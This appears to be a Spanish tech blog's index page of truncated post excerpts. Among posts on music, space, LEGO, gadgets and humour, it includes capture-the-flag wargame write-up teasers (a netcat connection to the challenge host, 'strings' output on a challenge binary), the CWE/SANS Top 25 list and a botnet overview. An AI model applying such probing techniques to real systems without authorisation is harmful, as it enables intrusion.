Puedes descargarte las pegatinas desde aquí y aquí.

Lo jodido es llevar siempre encima un taladro ;)

Visto en F.A.T.

Solución al reto zeropwn #wgsbd2

Esta prueba, como parecía de las difíciles no la intenté hasta que vi que pusieron una pista :). Y vaya pista, el código fuente del programa que actuaba de servidor y un fichero de texto con muuuuuchas palabras. El típico fichero diccionario de claves.

Lo que teníamos era un servicio escuchando por el puerto 8008 en wargame.securitybydefault.com. Cuando nos conectábamos a dicho puerto recibíamos algo como:

DIGEST-MD5bm9uY2U9IjEzMTExMzA1NzAiLHFvcD0iYXV0aCIsY2hhcnNldD11dGYtOCxh
bGdvcml0aG09bWQ1LXNlc3M=

El servidor nos está mandando algo codificado en Base64.

Solución al reto stealthehash #wgsbd2

Esta prueba consistía en conectarse al puerto 2011 de wargame.securitybydefault.com. Nos daban una pista: r3ady_for_the_n3xt_hash.

Cuando nos conectabamos:

nc wargame.securitybydefault.com 2011

El sistema se quedaba esperando a que le mandáramos algo. Buenos, empecemos con el dato que nos dan:

r3ady_for_the_n3xt_hash

Después de introducir ese dato, el sistema nos devolvía un hash y de nuevo se quedaba esperando a que le introdujéramos algo (no seas mal pensado). Si pulsabas la tecla enter, recibiamos algo como:

El Señor de los Pixels

Todos los personajes de El Señor de los Anillos en pixeles al más puro estilo retro. Pulsa en la imagen para contemplarla en todo su esplendor.

Visto en HTCARU.

 

Más fotos de la Campus Party 2011 en Valencia

Segunda entrega (aquí la primera) de fotos realizadas por nosotros en la Campus Party de Valencia 2011. Pulsa en la imagen para ver el slideshow con todas ellas.

Siggraph 2011: Make It Home

SIGGRAPH Vancouver 2011 reunirá a miles de profesionales de campos tan diversos como ciencia, investigación, animación, arte, música, interactividad, videojuegos, educación y Web; la industria de computación gráfica y las tecnologías interactivas se darán la mano en una exhibición de tres días de productos y servicios de estos mercados.

El programa comienza con una serie de conferencias del domingo 7 de Agosto al jueves 11 de Agosto de 2011, las exhibiciones comenzarán el martes 9.

Solución al reto stealshop #wgsbd2

En este caso este reto consistía en un sitio web. En la página principal teníamos varios links a distintos productos y un poco más abajo otro enlace dónde decía: mostrar un objecto de forma aleatoria o algo parecido. Lo siento no tengo una captura de pantalla y hablo de memoria :p

Cuando hacíamos click sobre uno de los objetos, nos aparecía algo como la imagen que vemos más arriba.

Solución al reto keyconsole #wgsbd2

Este fue el primero que resolví creo. En este caso nos encontramos con un binario que al ejecutarlo nos dice:

./tmp_key 
[-] Checking if your environment is compatible, please wait ...
[-] Your software isn't original, please buy an original copy.

A ver que nos dice strings:

strings tmp_key 
...
/tmp/%i_privatekey_%i
[-] Checking if your environment is compatible, please wait ...
/dev/random
%i%i%i%i%i
...

Parece que busca un fichero en /tmp/X_private_X, donde las Xs son variables y un poco más abajo vemos el uso de /dev/random.

El organigrama de Apple

Si quieres conocer un poco más la gente que rodea al gran Steve Jobs, echa un vistazo a este gráfico, en él tiene que estar el futuro sucesor de Jobs (¿Jonathan Ive?).

Visto en el blog all things Steve Jobs.

Sesión DJ, Madeon - Pop Culture

Tiene 17 años (itsmadeon) y mezcla hasta 39 canciones en este video.

Alucinante.

Visto en TheAwesomer.

This is your captain speaking "Lift", para este …

Con un poco de retraso, aquí tenéis vuestra canción del domingo …

This is your captain speaking 

Rascacielos Vertical Strip en la presa Hoover

El diseñador de este singular edificio es el arquitecto Stephan Sobl. Su localización será sobre el río Colorado en Nevada, en el lado derecho de la presa Hoover.

La torre esta pensada para albergar un casino (viva Las Vegas) un hotel, un ring de boxeo y una sala de conciertos.

Los principales materiales de construcción serán la fibra de carbono, cemento y armazones metálicos para las zonas exteriores.

II Wargame de SecurityByDefault #wgsbd2

¡Por fin se acabó! Y digo por fin, porque antes de que empezara la segunda edición del wargame, solía escribir en este blog y en mi vida había otras cosas que tenían sentido.

Este segundo Wargame organizado por SecurityByDefault y Eset, tuvo lugar en la legendaria Campus Party de Valencia. A diferencia de años anteriores, esta edición estaba abierta a todos los públicos y no sólo para los asistentes a la Campus, lo cual es de agradecer. Aunque para optar a los premios tenías que estar registrado como asistente a la Campus.

Modem 56K para hacer música de terror

Concretamente está sacada de un Motorola Cendyne 56K V.92 (vaya de los de to la vida) nacido en los prolíficos años 80. Rebajada un 700% de su velocidad original parece que es una BSO de peliculas como The Ring o Ju-on.

Nuestro colega cybercaronte ya ha puesto algún ejemplo de música en slow down pero que sonaba a clase de yoga :-)

Link

Skydiving sincronizado ¿Nueva modalidad olímpica?

Cuatro skywalkers dentro del simulador Skydive Arena en Praga. Harvard (equipo Skywalkers), Raph and Ju (equipo Team4Speed) y Alberto (equipo Volare).

La música es de los Casiokids: Fot i Hose.

¿Nueva modalidad olímpica? Si se hace en el agua porque no en el aire.

Link

Er docu der finde: El legado de Pitágoras

Parte 1/3

Parte 2/3

Parte 3/3

EL SER CREATIVO, II congreso de mentes brillantes

El Ser Creativo es un Congreso sobre las ideas, el pensamiento y la creatividad que reúne 2 premios Nobel y 21 cerebros destacados de todas las áreas (salud, cambio climático, economía sostenible, evolución, genética, educación, neurociencia, tecnología, libertades, religión, etc.) Las ponencias durarán 21 minutos en las que se expodrán las ideas más brillantes de cada uno. También habrá 5 debates apasionantes, 3 días de creatividad con Eduard Punset, Bernard-Henri Levy, Wang Xiaoping, Jeremy Rifkin, Dambisa Moyo…

Mashup "Pop Culture" en vivo

Link

Campus Party 2011

Algunas Fotos de la Campus Party 2011

Efecto mariposa con el material de fotografía

Genial efecto mariposa intercalado con fotografías que tienen que ver con el movimiento efectuado en ese momento pero hay que estar atento porque es muy rápido.

Link

La explicación verdadera de algunas señales de …

Visto en HTCARU.

Tour virtual de la cabina de la Discovery

 

TOUR VIRTUAL DISCOVERY

 

Cuando de pequeño dijiste: ¡¡De mayor quiero ser astronauta!! ¿Seguro que pensabas en esto?

…y ahora que eres mayor ¿Estás seguro de que te hubiera gustado ser astronauta?

Ojo, los asientos no deben ser muy cómodos.

Link

OWASP - Vídeo tutoriales sobre seguridad

El OWASP (Open Web Application Security Project) está publicando en Youtube una serie de vídeos dónde nos introducen los problemas de seguridad más conocidos, por su alta presencia en el mundo de las aplicaciones web.

Este es el canal en Youtube al cual te puedes suscribir, si no, no te preocupes que ya iremos os mantendremos informados desde Cyberhades.

Actualmente tienen 3 vídeos que os dejo a continuación:

Episodio 1: Introducción a la seguridad de aplicaciones

Bata televisión de 60"

Has leído bien, esto que ves es una bata de laboratorio con una televisión LED integrada. Tiene una resolución de 160x140 pixeles, con un tamaño de  0.3" (7.62mm) por pixel o punto, formando así una televisión de 60" de tamaño.

Aquí tienes un vídeo de demostración:

Ahora a ver quien los tiene bien puestos para salir a la calle con la batita y un peli guarra :D

Arranca la Campus Party 2011 en Valencia

Otro año más, estaremos en la Campus Party de Valencia. No podemos quedarnos todo el tiempo (ya nos gustaría), pero si iremos pasando a diferentes horas y sobre todo a las conferencias que más nos interesen.

 No os perdáis los contenidos estelares y sobre todo, el  II WarGame de Security By Default.

Por cierto, si vas a estar por allí, podríamos vernos en persona, nos gustaría conocer a nuestros buenos amigos que visitan nuestro blog (atento a nuestro twitter, así podrás localizarnos).

Vídeos de preparación para la certificación …

Si te quieres preparar la certificación SQL Server 2008 de Microsoft, ya puedes empezar por esta lista de vídeos oficiales de la propia Microsoft:

• Partitioning
• Snapshot Isolation
• Security EXECUTE AS and SQL Injection
• Replication Demo
• Replication
• Partial Database Availability & Online Piecemeal Restore
• Optimizing Procedural Code
• Multi-Server Management Demo
• Indexing Strategies Demonstration
• Indexing Strategies
• Index Analysis
• Designing an Availablity Strategy
• Consolidation
• Clustering Setup & Troubleshooting
• Storage Core Concepts
• Storage Guidelines
• DAS vs SAN Architecture
• Storage Testing and Monitoring
• Index Internals Demo
• Index Internals
• The Clustered Index Debate
• Statistics
• Locking Demo
• Locking
• Restore Internals Demo
• Restore Internals
• Waits and Queues Demo
• Waits and Queues
• Clustering Introduction
• SQLOS
• Database Mirroring Demo
• Database Mirroring
• Multi-Server Management
• Policy-Based Management Demo
• Policy-Based Management
• Resource Governor Demo
• Resource Governor
• Virtualization
• Security Auditing and Compliance
• Security Keys and Encryption
• Security Authentication and Authorization
• Security Introduction and Server Setup
• Baselining and Benchmarking
• Extended Events
• Extended Events Demo
• Index Fragmentation Demo
• Index Fragmentation
• Backup Internals Demo
• Backup Internals
• Database Snapshots Demo
• Database Snapshots
• Sparse Columns Demo
• Sparse Columns
• SQL Azure Database
• Service Broker
• SQL Server Spatial
• Change Data Capture, Change Tracking and Integrated Fulltext Search
• SQLCLR
• SQL Server Clients
• XML
• Consistency Checking (Part 2)
• Consistency Checking (Part 1)
• Log File Internals and Maintenance - Demo Video
• Log File Internals and Maintenance
• Data File Internals and Maintenance - Demo Video
• Data File Internals and Maintenance
• New Database Structures in SQL Server 2008 - Demo Video
• New Database Structures in SQL Server 2008
• Database Structures - Demo Video
• Database Structures

Enlace oficial

Video del lanzamiento de la lanzadera Burán

Hemos visto muchos videos de los lanzamientos de la Lanzadera Espacial Norteamericana, yo personalmente nunca había visto el lanzamiento de la lanzadera Buran soviética.

Millimetrik - "Les artefacts du future", para un …

Y esta de regalo con los increibles Port Royal …

Millimetrik.

Más libros técnicos

Si ya te leiste los 45 libros que os dejamos por aquí, estás de suerte, en esta entrada de dejamos otros pocos de libros :), para asegurarnos de que no te aburras.

1. Faster, and More Secure Webfonts
2. Building iPhone Apps with HTML, CSS, and JavaScript
3. Dive Into Accessibility
4. HTML5 Quick Learning Guide
5. Best Practices for Developing a Web Site
6. Web Style Guide 3rd Edition
7. Android design guidelines version 1.1 (PDF)
8. Practical PostgreSQL
9. Introduction to C Programming (PDF)
10. The C Book
11. How to Think Like a Computer Scientist C++ Version
12. C++ Annotations 9.0.0
13. Visual C++ 6 Unleashed
14. Python arsenal for RE (PDF)
15. Why’s Poignant Guide to Ruby (PDF)
16. Learn Python The Hard Way, 2nd Edition
17. Learn C The Hard Way
18. Metsploit Unleashed (PDF)

Video ganador del concurso de astrofotografía …

Impresionante time-lapse creado por el astrónomo amateur Alex Cherney, de la ciudad de Victoria, que grabó más de 31 horas de material de video en la costa sur de Australia. Ha tardado año y medio en completarlo.

El festival Starmus ese acaba de celebrar (20 al 25 de junio) en Las Islas Canarias. Aquí puedes obtener las bases del concurso por si te interesaría participar el año que viene. Los premios son bastante jugosos: "De entre todos los participantes, el ganador disfrutará de un viaje con todos los gastos pagados al Festival y, a la oportunidad única en la vida de llevar a cabo una observación de 60 minutos de duración del objeto que desee con el telescopio óptico más grande del mundo: el Gran Telescopio CANARIAS (GTC), situado en la isla de La Palma. Otorgaremos premios consistentes en precios atractivos al mejor participante en otras tres categorías. El equivalente en metálico del premio serán $2000. El segundo y tercer ganador recibirá $500 y $250, respectivamente."

Documentación completa sobre programación en 64 …

En este enlace de Intel, se ha recopilado información sobre el desarrollo de software en C/C++ 64 bits. Puedes encontrar un curso completo, artículos, documentación, FAQ, etc.

También puedes ver las lecciones del curso en un solo fichero para imprimir aquí.

Visto en Reddit.

Los 25 errores más peligrosos del software según …

Como el título indica, esta es la lista que este año han creado CWE/SANS sobre los errores más peligrosos que cometemos los programadores en este año 2011.

Pos	Punt	ID	Descripción
[1]	93.8	CWE-89	No filtrar propiamente las sentencias SQL (Inyección SQL)
[2]	83.3	CWE-78	No filtrar las llamadas al sistema de forma adecuada (Inyección en comandos del SO)
[3]	79.0	CWE-120	No chequear el tamaño de la memoria reservada a la hora de copiar datos (desbordamiento de memoria)
[4]	77.7	CWE-79	No detectar la inyección de scripting (XSS)
[5]	76.9	CWE-306	No autentificar en llamada a funciones críticas
[6]	76.8	CWE-862	No autorización
[7]	75.0	CWE-798	Usar credenciales estáticos en el código
[8]	75.0	CWE-311	No cifrado de datos sensibles
[9]	74.0	CWE-434	No restringir la subida de ficheros a ciertos formatos
[10]	73.8	CWE-807	Confiar en una fuente de datos no confiable a la hora de tomar una decisión de seguridad
[11]	73.1	CWE-250	Ejecución con privilegios innecesarios
[12]	70.1	CWE-352	Cross-Site Request Forgery (CSRF)
[13]	69.3	CWE-22	No limitar el acceso al sistema de ficheros a directorios restringidos
[14]	68.5	CWE-494	Descarga de código sin chequear la integridad del mismo
[15]	67.8	CWE-863	Autorización incorrecta
[16]	66.0	CWE-829	Permitir la integración de funcionalidades de fuentes no confiables
[17]	65.5	CWE-732	Asignación de permisos incorrecta a recursos críticos
[18]	64.6	CWE-676	Uso de funciones potencialmente peligrosas
[19]	64.1	CWE-327	User un algoritmo de cifrado que ha sido comprometido o roto
[20]	62.4	CWE-131	Cálculo incorrecto del tamaño de memoria
[21]	61.5	CWE-307	No restricción a un número de intentos fallidos de acceso
[22]	61.1	CWE-601	Redirección URL a sitios no confiables ('Open Redirect')
[23]	61.0	CWE-134	Formato de cadena no controlado
[24]	60.3	CWE-190	Desbordamiento de enterios
[25]	59.9	CWE-759	Aplicar una función hash sin usar la sal

Aquí tienes toda la información en PDF

¿Quién negocia con tu email?

Bueno esto es un viejo truco que me vino a la cabeza esta mañana mientras escuchaba un podcast.

De todos es sabido, que en cuanto más sitios te das de alta, donde tu email es un dato necesario, más spam recibimos. El spammer no es alguien que se ponga a recopilar información a mano, sino que o bien compra bases de datos con cuentas de correo electrónico, o las roba toma prestadas o tienen alguna araña haciendo web scrapping.

El último despegue de la Lanzadera Espacial

Visto en NASA.

Er docu der finde: La música de los números primos

Este es un documental obligatorio de ver. En él podrás encontrar historia, matemáticas, tecnología, ciencia y naturaleza. Todo alrededor de los números primos.

Si prefieres la lectura, aquí tienes el libro.

Capítulo 1

Capítulo 2

Capítulo 3

Hublot MP-02 Key of Time

Con nombre de videojuego de Prince of Persia se presenta este reloj valorado en 196.900 € con la promesa de doblegar tu sentido de la realidad (y la de tu bolsillo). Es algo complicado de explicar porque, diciéndolo en términos sencillos, el reloj tiene una aguja que podrás variar a tu gusto y con la que valorarás el tiempo circundante… ¿? :-) Ahora toca decir… ¿¿lo cualo?? Vamos a intentar explicarlo mejor, si se puede. Esta aguja tiene tres modos de contar el tiempo:

Ejemplos para la línea de comandos

Muchas veces la documentación no es suficiente o no lo suficientemente clara cuando necesitamos ejecutar un comando más o menos complejo o que al menos requiera varios parámetros. En estos casos nada mejor que un ejemplo práctico para guiarnos.

Una de las webs que nos pueden ayudar en esta tarea es commandlinefu.com, de la que ya hablamos aquí hace un tiempo, pero como dos es mejor que uno, aquí os traigo otro servicio llamado examplenow.

Observando y escuchando esta espectacular tormenta …

Cassini está observando y escuchando (sí, igual que las tormentas en la Tierra, producen alteraciones en las ondas de radio AM, pulsa aquí para oirla) esta espectacular tormenta en la superficie de Saturno. Sólo pensar en la magnitud de esta tormenta (del tamaño de ocho Tierras) realmente abruma.

Maravilloso.

Visto y más información en UniverseToday.

Remixes con samples de sistemas operativos y otras …

Impresionante mezcla de samples con un poco de ritmo por aquí y por allá. El primero el mejor para mi gusto.

Puedes encontrar muchos más en YouTube

Sony Playstation Network Hack (Infografía)

Fuente

30 Ilustraciones Steampunk. Pasados alternativos.

El término Steampunk  lo acuña por primera vez el escritor K. W. Jeter refiriéndose a la nueva tendencia a realizar ilustraciones basadas en conceptos pertenecientes a las primeras historias de ciencia ficción o a las tecnologías del siglo XIX. Es una sutil y deliciosa mezcla entre las historias de Julio Verne y H.G. Wells, de máquinas sumadoras de Charles Babbage y de vapor y carbón a partes iguales.

PaulDotCom episodio 4 con otro crack español

Carlos Perez habla con Rubén Santamarta, uno de los mejores caza-vulnerabilidades españoles que existen! Ellos hablan sobre los peligros particulares con vulnerabilidades de sistemas SCADA, como Stuxnet a sido un punto de inflexión en seguridad, y sus aventuras con Shodan.

Rubén Santamarta escribe ReverseMode

Link al podcast

Escribe tu software una vez e instálalo en …

Esto me recuerda a los inicios de Java: Write once, run everywhere. Aunque en este caso en concreto nuestro objetivo serían los dispositivos móviles y aplicaciones HTML5.

El proyecto Particle Code es una plataforma abierta y extensible, que a partir de una aplicación escrita en Java o ActionScript 3 (C# en desarrollo), es capaz de generar una aplicación nativa para prácticamente cualquier sistema móvil de los que conocemos hoy en día, además de aplicaciones HTML5.

Los chistes malos de Richard Stallman

Richard Stallman, un ser odiado y querido, para mi… todo un personaje. Esta es una lista de chistes, alguno tienen su gracia, pero sólo alguno:

• Los juegos de palabras en castellano que he inventado. (Hablo con el acento mexicano, es cómodo para los juegos de palabras.)
• Cuando me hablaban de la idea de hacer amor con Catherine Zeta-Jones, dije "Hago amor con las plantas, pero no con las setas."
• Para usar los sanitarios en México, una chica me pidió un peso. Le contesté, ¿Un beso?
• ¿Por qué es el plátano la comida de los monjes que hacen votos de pobreza? Porque dicen, ¡Plata, no!
• Cuando viajo, a veces me preguntan si estoy de vacaciones. Contesto, ¿Para qué querría ser una vaca?
• Un hotel muy desagradable es una posadilla.
• En Buenos Aires hay un hipódromo. Cuando vaya por allí, voy a participar en un concurso de hipos.
• Al ver por la primera vez una tetera, me sorprendió que no asemeje a un sujetador.
• Por la calle me encontré con un desastre. Lo reconocí como un desastre cuando él intentó descoser mi ropa.
• El odio es un hijo de disputa.
• La Alhambra es bella, pero vieja y obsoleta. Ahora piensan reemplazarla por una red inalhambrica.
• En un paseo por los montes de Colombia, un amigo indicó un mineral y dijo: "Es azufre". Le pregunté, "¿Por qué sufre?"
• ¿Qué dijo un ladrón de pescado al otro? ¡Róbalo!
• O eres utopista, o eres autopista.
• Gracias, pero no quiero el pancito. Ya tengo una panzota.
• ¿Cómo se separa a un militar de su ejército? Con un desoldador.
• Para graduar de la universidad, algunos estudiantes tienen que presentar sustentaciones. Los demás no tienen tentaciones.
• ¿Por qué el jugo de mora? Porque no es pera.
• Cada agosto, los homosexuales de España organizan su Festival de Ver Ano. (Basado en una idea de Tania Leal.)
• ¿Cuál es la diferencia entre el cura, la cura, y lo cura?
• ¿Dónde se vende lavanda? En la lavandería.
• ¿Dónde se venden las almas que el diablo ha comprado? En Almería.
• ¿Por qué llama un casino? Porque casi no tienes la posibilidad de ganar.
• Siendo ateo practicante, para despedirme digo "A ningún dios."
• En Ecuador, una aerolínea lleva el nombre de Icaro (sin tilde), no buen augurio para un vuelo seguro. Al aterrizar dicen, "Gracias por haber elegido este vuelo peligroso Icaro".
• ¿Qué carrera académica te prepararía para contar chistes? Bromatología.
• Muestro un juego de llaves y digo "Llaves". Luego lo escondo y digo, "Ya no ves."
• A ver también las fotos de mi escultura efímera, "De-lirio".

Enlace original. Puedes ver más en inglés o francés.

Su web personal

Colección de trucos avanzados de programación …

(pulsa aquí para ver en grande la Cheat Sheet de Javascript)

Pequeños y útiles programas realizando todo tipo de operaciones en Javascript.

Algunos ejemplos:

• Append an array to another array
• Milliseconds since epoch
• Simulate threads using yield operator
• prefix an integer with zeros
• shuffle the Array
• multi-line text
• Escape and unescape HTML entities
• Remove an object from an array
• ... y muchos más

No te lo pierdas, seguro que hay alguna que hace falta, es una buena referencia para el programador.

Visto en HackersNews y aquí el post original, de Google Code.

Guía para principiantes de Shell Script

Excelente tutorial para iniciarte al maravilloso mundo del Shell Scripting  Si usas de vez en cuando Linux, sabrás que a veces pierdes bastante tiempo teclando comandos para realizar algunas tareas que podrías automatizar. Con el Shell Scripting podrás escribir comandos en forma de programas y ejecutarlos (como el BAT de Windows, pero más potente). Programar copias de seguridad, tareas administrativas, etc son sólo algunas de las cosas que puedes llegar a hacer. Puedes  usar los típicos comandos de programación para bucles (loop), condiciones if/then, for, etc, por lo tanto los script son en sí mismos auténticos programas.

TDL-4, la nueva generación de botnets

(Imágen de ESET)

Un nuevo ente está alterando la seguridad de Internet. Se llama TDL-4 y la empiezan a llamar la botnet indestructible. Pero ¿qué la hace tan especial y poderosa?, pues básicamente porque es una mejora de varias generaciones (en concreto esta es la cuarta) a lo largo de muchos años de una típica botnet. Los creadores del código han cambiado el algoritmo (por otro mucho más complejo) usado para cifrar las comunicaciones entre los bots zombies y los servidores del centro de mando (usa P2P) para asegurarse que tienen acceso a dichos equipos aunque el centro de mando esté caido.

Iconos Creative Commons para tu juego RPG

… ó para lo que quieras, aquí tienes una fantástica colección de iconos de fantasía en blanco y negro, ideal para tu juego RPG, aplicación móvil, etc.

En este enlace puedes descargar en alta resolución todos los iconos individuales, todos bajo licencia Creative Commons Attribution 3.0.

Un millón de gracias al autor.

Visto en Reddit, IndieGames.

¿Qué más necesitas?

A lo mejor una bandeja donde poner el portátil…

Impresionante, totalmente real, lo puedes comprar aquí por 11.000 dólares. Es portátil, de acero, con grifo de cerveza (compresor de CO2) y grill incorporado.

Visto en TheAwesomer.

HackerMonthly "Startup stories", en PDF y gratuita …

HackerMonthly es una publicación creada por los mismos fundadores de la espectacular Hacker News, donde mensualmente publican las mejores historias (con retoques de maquetación y añadiendo información adicional) que han aparecido en su web.

El precio por número es de 3$ (muy bien invertidos, la revista es realmente buena, puedes suscribirte aquí por 29$ al año), pero tienen este especial gratuito donde hablan sobre historias de compañías "startup".

The Appleseed Cast "As the Little Things Go", para …

httpv://www.youtube.com/watch?v=XpJ4FtZkPI8&feature=view_all&list=PLF1F890EFB39B0156&index=111

Espectacular, maravilloso, tienes que escucharla hasta el final, es como si hubiera tres canciones en una.

The Appleseed Cast

Como abrir un candado de portátil

Si tienes un portátil y miras por, normalmente alguna de las esquinas, verás un orificio pequeñito. No, no es para colgarte el portátil en el llavero, sino para amarrar el portátil a algún sitio usando un candado especial.

Yo la verdad nunca me he fiado en este tipo de medidas de protección, al fin y al cabo la carcasa de los portátiles suelen ser de plásticos (Mac, Dell, Lenovo y seguro que algún otro creo que hacen portátiles de aluminio o algún otro material que no es plástico) y con un buen tirón te llevas el portátil.

La Tierra Media en LEGO

Impresionante construcción de todos los lugares emblemáticos la Tierra Media en LEGO. Desde Hobbiton hasta la guarida de Sauron.

Puedes ver las fotos aquí.

Visto en NerdApproved.

15 ordenadores raros de los 90

Apple Twentieth Anniversary Macintosh (Wikipedia)

Este slideshow de PCWorld nos hace un repaso de 15 ordenadores bastante fuera de lo normal que salieron en los 90. Entre ellos está el Apple Twentieth Anniversary Macintosh TAM (foto de la entrada de este post), el AtariST Book portátil, SEGA Teradrive ó el Commodore CDTV.

Una curiosidad sobre el TAM, no podía ejecutar Mac OS X en la configuración original, podía convertirlo en un ladrillo muy caro si lo instalabas, ya que costaba alrededor de 7.500 dólares de la época (1996-1997).

Plataforma de pentesting sobre 3G

Bueno, esto sí que tiene buena pinta. ¿Os acordáis cuando hablamos del SheevaPlug o el GuruPlug? Pues ahora tenemos el PWN Plug 3G.

El PWN Plug 3G es un dispositivo como el que ves en la foto. Realmente es un ordenador dentro de una caja del tamaño de una fuente de alimentación. Lo nuevo de este aparato es que viene con conectividad 3G, es decir, que si tienes cobertura 3G dónde lo tengas enchufado, tienes conexión a Internet.

Crea un dispositivo USB arrancable con Windows 7 …

Si en vez de cargar con un DVD de Windows 7, prefieres llevar el sistema en un lápiz o dispositivo USB, esto son los pasos que puedes seguir:

Lo primero, necesitas:

DVD de Windows 7 Dispositivo USB de al menos 4GB Estar en un Windows Vista o 7

Nota: siguiendo estas instrucciones borrarás todo el contenido del dispositivo USB, así tienes algo que te interese en él, haz una copia de seguridad.

Escáner de direcciones MAC (Windows)

Windows

Esta aplicación gratuita se llama MAC Address Scanner muestra las direcciones MAC de ordenadores ubicados en tu red local (útil por ejemplo para hacer WakeUpLan). Hay una forma sencilla que ya pusimos en este post hace tiempo, pero con este escáner es más cómodo, muestra más información y además no necesitas saber la IP.

Una herramienta que no viene mal para el kit del administrador de redes.

La evolución de Link (Zelda)

Visto en GeeksAreSexy.

Er docu der finde: Eso es imposible - Terminators

Debugger de 64 bits para Windows

Se llama Visual DuxDebugger y es un depurador/desensamblador de 64 bits para Windows que se presentó en la pasada SummerCon 2011. Entre sus características tenemos:

• Soporte completo de procesos nativos de 64 bits
• Soporte completo de procesos .NET de 64 bits
• Análisis de código completo
• Análisis de memoria completo
• Edición de código
• Edición de memoria
• Exportación de módulos (EXE/DLL/CSV)
• Depuración de múltiples procesos
• Depuración de procesos hijo

Requiere:

• Windows 7 64bits / Windows Server 2008 R2
• Pentium 4 3.0 GHz
• 2GB de RAM
• Resolución de 1280 x 1024

Lo puedes descargar desde aquí. Y también puedes ver algunos vídeos de demostración.

Música de vídeo juegos

Si te gustan los vídeo juegos, seguro que te gustará la música de muchos de ellos. Y si la nostalgia te llama a la puerta, en vip.aersia.net y VGMusic (con más de 30.000 ficheros de música y ordenados por el tipo de sistema) puedes encontrar casi cualquier cosa. Los ficheros están en formato midi.

Tú ya sabes a que sección voy :)

¡Ya no tienes excusa para tener un tono geek en tu móvil!

Convierte Flash a HTML5

Esta es otra pequeña joya de Google llamada Google Swiffy. Este proyecto de Google Labs nos permite convertir ficheros SWF (Flash) en código HTML5. Dicha conversión la hace usando SVG, que actualmente sólo es soportado por navegadores basados en Webkit, como son Safari y Chrome. Por lo tanto para poder ver el resultado de la conversión necesitarás uno de estos 2 navegadores.

Para convertir una fichero SWF sólo tienes que visitar Google Swiffy y subir el fichero en cuestión y luego incrustar el código generado en tu web dentro de un <iframe>. Eso es todo.

¿Cómo se ve tu web en el móvil?

Hace algún tiempo hablamos aquí sobre BrowserShots, una web dónde podíamos ver nuestra web en más de 90 navegadores. Pero a día de hoy ya no son sólo los navegadores de nuestro ordenador los que visitan tu web, sino también los de dispositivos móviles y con el avance tecnológico en esta área cada vez serán más y por lo tanto la importancia de que tu sitio web se vea propiamente en estos dispositivos se está convirtiendo en tarea obligada.

Ver como cambia el mundo como resultado de tu …

Es un corto de Wikileaks de poco más de 1 minuto. Está en inglés pero que pillas el mensaje.

Fuente

Microhistorias: el día en que murió Lord British o …

Se me ha ocurrido escribir esta Microhistoria después de leer esta entrada de Menéame donde se habla de los 7 hechos más tontos/gamberros del mundo del MMORPG. En ella se comenta específicamente en concreto este, “Assassinating The Inventor of MMORPGs (Ultima Online)". Y me he animado a profundizar más en la historia, porque tiene miga.

Ultima Online fue el primer MMORPG (tal y como lo conocemos hoy) y llegó a 100.000 jugadores en 1997 (ojo a la fecha). Por eso fueron también los primeros que se dieron cuenta del “potencial” que tiene un jugador de MMORPG con mucho tiempo libre por delante. Los programadores se pasaron meses creando misiones, monstruos, pnj’s, objetos, etc. Al principio, durante la beta del juego, todo iba bien hasta que los jugadores empezaron a matar todo lo que se movía con una rapidez increíble, buscaron la forma de matar o engañar también a los pnj, duplicar objetos para romper la economía, destrozar a los jugadores nóveles nada más pisar el mundo, etc.

Programando un emulador de ZX81 en lenguaje C

Sí, el ZX81 ya hace algún tiempo que pasó de moda ;) pero más que en el resultado final de emular este magnífico ordenador (el primero que tuve), el interés de este artículo está en el contenido, ya que muestra las bases para programar emuladores de sistemas. En este artículo de la página #AltDevBlogADay, el autor Andre Leiradella nos explica paso a paso cómo programar un emulador completo de un ZX81 en C.

¡No pasarás! (Humor)

Visto en HTCARU.

¿Cuánta propina dejar? (Infografía)

El otro día me pasó con un taxista al que le di 2 dólares de propina por una carrera de 30 dólares y me dijo que la propina podría ser un poco mejor, que normalmente era de un 10% y el individuo no tuvo el detalle ni siquiera de hacer el intento de coger una maleta. Esto fue en Las Vegas por cierto.

Visto en Lifehacker

Team Fortress 2, gratuito

Valve ha puesto a disposición de todos de forma gratuita el juego Team Fortress 2. El juego completo son cero euros pero añaden la posibilidad de comprar pequeñas actualizaciones (como ampliar el espacio de las mochilas).

Puedes descargarlo desde aquí.

Visto en HTG.

Tutorial PowerShell para admins

Si eres administrador de sistemas Windows tienes que usar tarde o temprano PowerShell. Herramienta imprescindible para automatizar procesos de todo tipo, tareas de SQL, IIS, Exchange, etc.

Aquí tienes un pequeño tutorial en tres partes que hemos visto en una de nuestras webs favoritas, 4SysOps:

• Part 1: cmdlets and pipelines
• Part 2: aliases and drivers
• Part 3: run a powershell script

¡Agárrate Woody!

httpv://www.youtube.com/watch?v=nfdxoD-m_ow

Visto echando el rato por Reddit.

Long Distance Calling - Apparitions, para este …

Long Distance Calling.

Explicando La Guerra de las Galaxias en 32 …

(Click para verlo más grande)

Visto en HTCARU.

Bill Gates: How a Geek changed the World …

Mi colega tuxotron ya puso ayer “Er docu der finde” ;), pero os damos como bonus este interesante documental de una hora de duración sobre Bill Gates. Está en inglés pero puedes activar los subtítulos en el idioma que prefieras. Está rodado justo antes de que él dejara Microsoft.

Er docu der finde: Megafactorías - Ferrari

101 anuncios clásicos/retro de ordenadores y …

Visto en BoingBoing.

Tres reglas básicas para la seguridad online

1. Si no lo estás buscando y no lo necesitas, no lo instales.
2. Si lo has instalado, actualízalo.

3. Si ya no lo necesitas más, desinstálalo del sistema.

Básicas pero muy efectivas.

Visto en KrebsOnSecurity.

LEGO Super Star Destroyer Executor

(Pulsa en la imágen para verla más grande)

Visto en TheFireWire.

Gears of War 3 - Horde Mode (Multiplayer), …

Puedes construir fortificaciones, señuelos, torretas automáticas, etc … Lo queremos YA! (sale el 20 de septiembre).

Gears of War 3.

Hoy es el 99 Aniversario de un GENIO: Alan Turing …

Todos los que visitáis este blog sabéis nuestra debilidad por el padre la Informática, víctima de una sociedad podrida de prejucios y héroe de la Segunda Guerra Mundial, Alan Turing.

Hoy cumpliría 99 años, feliz cumpleaños Alan, no te olvidamos.

Parece que a Google se le ha olvidado hacer un merecidísimo Doodle.

Una nueva forma de explicar teoría de circuitos …

 

Magistral wikilibro donde explica de una forma amena y sencilla toda la teoría de circuitos electrónicos, tando digitales como analógicos, aunque recomendamos las explicaciones de los últimos, los analógicos.

Como dicen en la wiki, ".. para aquellos no están contentos con la explicación formal". La verdad que repasando algunos de los enlaces que tiene el libro me he quedado realmente alucinado con la claridad de la explicaciones y la cantidad de información que existe en este wikibook.

10 cosas que posiblemente no sepas sobre La Guerra …

Voy a resumirlas:

